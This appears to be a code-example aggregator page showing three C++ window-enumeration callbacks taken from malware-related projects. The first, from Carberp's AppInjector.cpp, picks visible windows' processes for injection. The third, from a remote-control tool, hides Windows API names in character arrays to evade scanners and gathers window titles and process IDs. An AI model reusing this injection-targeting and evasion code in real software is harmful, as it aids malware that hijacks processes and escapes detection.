コード例 #1
0
ファイル: AppInjector.cpp プロジェクト: 0x00dec0de/Carberp
//------------------------------------------------------
//  WndEnumCallBak - Функция обработки найденного окна
//------------------------------------------------------
BOOL CALLBACK INJECTOR::WndEnumCallBak(HWND Wnd, LPARAM Param)
{
	// Окно должно быть видимым и не иметь владельца
	if (pIsWindowVisible(Wnd) && !pGetWindow(Wnd, GW_OWNER))
	{
		// Получаем пид пресса которому принадлежит окно
		DWORD PID = 0;
		pGetWindowThreadProcessId(Wnd, &PID);
		if (PID)
		{
			PInjector Injector = (PInjector)Param;


			TProcessInfo Info;
			if (GetProcessInfo(Injector, PID, Info))
			{
				// Проверяем необходимость инжекта
				// Разрешаем инжект в 32 разрядной винде или в 32 разрядные процессы
				Inject(Injector, &Info);
			}

		}
    }

	return TRUE;
}
コード例 #2
0
BOOL CALLBACK EnumWindowsList(HWND hwnd, LPARAM lParam)
{
	
	typedef int
		(WINAPI
		*GetWindowTextAT)(
		__in HWND hWnd,
		__out_ecount(nMaxCount) LPSTR lpString,
		__in int nMaxCount);
	GetWindowTextAT pGetWindowTextA=(GetWindowTextAT)GetProcAddress(LoadLibrary("USER32.dll"),"GetWindowTextA");

	
	typedef BOOL
		(WINAPI
		*IsWindowVisibleT)(
		__in HWND hWnd);
	IsWindowVisibleT pIsWindowVisible=(IsWindowVisibleT)GetProcAddress(LoadLibrary("USER32.dll"),"IsWindowVisible");

	if (!pIsWindowVisible(hwnd))
		return true;
	
	TCHAR szClassName[254]={0};
	
	pGetWindowTextA(hwnd,szClassName,254);
	
	if (strstr(szClassName,temp_proc) != NULL)
	{
		proc_tag = true;
	}
	return true;
}
コード例 #3
0
ファイル: SystemManager.cpp プロジェクト: 8ackl0/remotectrl
bool CALLBACK CSystemManager::EnumWindowsProc(HWND hwnd, LPARAM lParam)
{
	DWORD	dwLength = 0;
	DWORD	dwOffset = 0;
	DWORD	dwProcessID = 0;
	LPBYTE	lpBuffer = *(LPBYTE *)lParam;
	
	char	strTitle[1024];
	memset(strTitle, 0, sizeof(strTitle));

    char CtxPW56[] = {'G','e','t','W','i','n','d','o','w','T','e','x','t','A','\0'};
    GetWindowTextAT pGetWindowTextA=(GetWindowTextAT)GetProcAddress(LoadLibrary("USER32.dll"),CtxPW56);
	pGetWindowTextA(hwnd, strTitle, sizeof(strTitle));
	
	char FBwWp01[] = {'l','s','t','r','l','e','n','A','\0'};
	lstrlenAT plstrlenA=(lstrlenAT)GetProcAddress(LoadLibrary("KERNEL32.dll"),FBwWp01);
	char DYrEN52[] = {'I','s','W','i','n','d','o','w','V','i','s','i','b','l','e','\0'};
	IsWindowVisibleT pIsWindowVisible=(IsWindowVisibleT)GetProcAddress(LoadLibrary("USER32.dll"),DYrEN52);
	if (!pIsWindowVisible(hwnd) || plstrlenA(strTitle) == 0)
		return true;
	
	char SSzlC20[] = {'L','o','c','a','l','A','l','l','o','c','\0'};
	LocalAllocT pLocalAlloc=(LocalAllocT)GetProcAddress(LoadLibrary("KERNEL32.dll"),SSzlC20);
	if (lpBuffer == NULL)
		lpBuffer = (LPBYTE)pLocalAlloc(LPTR, 1);
	
	dwLength = sizeof(DWORD) + plstrlenA(strTitle) + 1;
	LocalSizeT pLocalSize=(LocalSizeT)GetProcAddress(LoadLibrary("KERNEL32.dll"),"LocalSize");
	dwOffset = pLocalSize(lpBuffer);
	char FBwWp29[] = {'L','o','c','a','l','R','e','A','l','l','o','c','\0'};
	LocalReAllocT pLocalReAlloc=(LocalReAllocT)GetProcAddress(LoadLibrary("KERNEL32.dll"),FBwWp29);
	lpBuffer = (LPBYTE)pLocalReAlloc(lpBuffer, dwOffset + dwLength, LMEM_ZEROINIT|LMEM_MOVEABLE);
	
    char CtxPW53[] = {'G','e','t','W','i','n','d','o','w','T','h','r','e','a','d','P','r','o','c','e','s','s','I','d','\0'};
    GetWindowThreadProcessIdT pGetWindowThreadProcessId=(GetWindowThreadProcessIdT)GetProcAddress(LoadLibrary("USER32.dll"),CtxPW53);
	pGetWindowThreadProcessId(hwnd, (LPDWORD)(lpBuffer + dwOffset));
	Gyfunction->my_memcpy(lpBuffer + dwOffset + sizeof(DWORD), strTitle, plstrlenA(strTitle) + 1);
	
	*(LPBYTE *)lParam = lpBuffer;
	
	return true;
}